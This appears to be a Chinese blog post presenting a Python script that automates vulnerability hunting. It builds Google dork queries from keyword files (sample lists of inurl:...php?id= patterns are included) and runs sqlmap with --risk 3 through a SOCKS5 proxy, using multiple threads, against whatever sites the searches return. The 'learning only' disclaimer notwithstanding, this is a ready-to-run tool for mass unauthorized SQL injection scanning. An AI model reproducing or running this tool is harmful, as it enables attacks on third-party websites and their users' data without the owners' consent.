(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究
注意,本程序仅用于学习和方法研究,不得进行实际使用。
下面的程序是一个Python脚本,用于执行sqlmap命令的多线程批处理工具。以下是对程序的主要特点和功能的介绍:
文件检查和初始化:程序开始时会检查是否存在keywords.txt和type.txt文件。如果这两个文件不存在,程序将输出错误消息并退出。
关键字计数:程序会打开keywords.txt和type.txt文件,计算每个文件中的行数,用于后续的进度跟踪。
多线程处理:程序使用concurrent.futures.ThreadPoolExecutor创建一个线程池,以限制并发线程的数量。这有助于提高程序的效率,避免同时运行太多的sqlmap命令。
执行sqlmap命令:每个线程负责执行一个sqlmap命令。sqlmap命令的具体内容存储在sqlmap_command变量中,可以根据show_sqlmap_output标志来决定是否输出sqlmap命令的结果。如果show_sqlmap_output为True,则会显示命令输出,否则输出将被重定向到/dev/null以隐藏。
进度跟踪:程序使用全局计数器和线程锁来跟踪关键字的处理进度,以便在控制台上显示处理进度信息。
错误处理:程序包含错误处理机制,能够捕获sqlmap命令执行过程中的错误,并输出错误消息。
任务等待:在所有任务提交到线程池后,程序会等待所有任务完成,然后输出"All Works done!"消息表示处理完成。
控制输出:你可以在代码的开头设置show_sqlmap_output为True或False来控制是否输出sqlmap命令的结果。
这个程序允许你批量执行sqlmap命令,根据需要控制是否显示命令的输出,并且通过多线程提高了执行效率。它可以帮助你自动化执行sqlmap扫描任务,并在需要时进行扩展和自定义。
#run.py
# -*- coding: utf-8 -*-
import os
import threading
from concurrent.futures import ThreadPoolExecutor
import subprocess
# 控制是否输出sqlmap命令的标志
show_sqlmap_output = False
# 检查是否存在keywords.txt和type.txt文件
if not (os.path.isfile("keywords.txt") and os.path.isfile("type.txt")):
print("keywords.txt and type.txt not exist.")
exit(1)
# 计算关键字总数
with open("keywords.txt", "r") as keywords_file:
total_keywords1 = sum(1 for line in keywords_file)
with open("type.txt", "r") as type_file:
total_keywords2 = sum(1 for line in type_file)
# 初始化进度计数器和锁
progress_keywords1 = 0
progress_keywords2 = 0
progress_lock = threading.Lock()
# 函数执行sqlmap命令
def execute_sqlmap(keyword1, keyword2):
global progress_keywords1, progress_keywords2
try:
# 执行sqlmap命令,根据show_sqlmap_output标志来决定是否输出
sqlmap_command = f"sqlmap -g \"{keyword1} {keyword2}\" --proxy \"socks5://192.168.0.167:10516\" --threads 5 --batch --answer \"extending=N,follow=N,keep=N,exploit=N\" --smart --risk 3"
if not show_sqlmap_output:
sqlmap_command += " > /dev/null 2>&1"
subprocess.run(sqlmap_command, shell=True, check=True)
# 更新进度计数器
with progress_lock:
progress_keywords2 += 1
progress_keywords2 = progress_keywords2 % total_keywords2
print(f"INFO:Words:{progress_keywords1}/{total_keywords1},Type:{progress_keywords2}/{total_keywords2}")
except subprocess.CalledProcessError as e:
print(f"ERROR: An error occurred for keyword pair ({keyword1}, {keyword2}): {str(e)}")
# 创建线程池
thread_pool = ThreadPoolExecutor(max_workers=5) # 控制并发线程数量
# 从keywords.txt中逐行读取关键字1
with open("keywords.txt", "r") as keywords_file:
for keyword1 in keywords_file:
keyword1 = keyword1.strip()
if keyword1:
# 增加关键字1的进度
with progress_lock:
progress_keywords1 += 1
# 从type.txt中逐行读取关键字2并提交到线程池执行sqlmap命令
with open("type.txt", "r") as type_file:
for keyword2 in type_file:
keyword2 = keyword2.strip()
if keyword2:
# 提交任务到线程池
thread_pool.submit(execute_sqlmap, keyword1, keyword2)
# 等待所有任务完成
thread_pool.shutdown()
print("All Works done!")keywords.txt
Business Company Corporation Entrepreneur Startup Industry Commerce
type.txt
inurl:aboutbook.php?id= inurl:announce.php?id= inurl:art.php?idm= inurl:article.php?ID= inurl:article.php?id= inurl:artikelinfo.php?id= inurl:avd_start.php?avd= inurl:band_info.php?id=



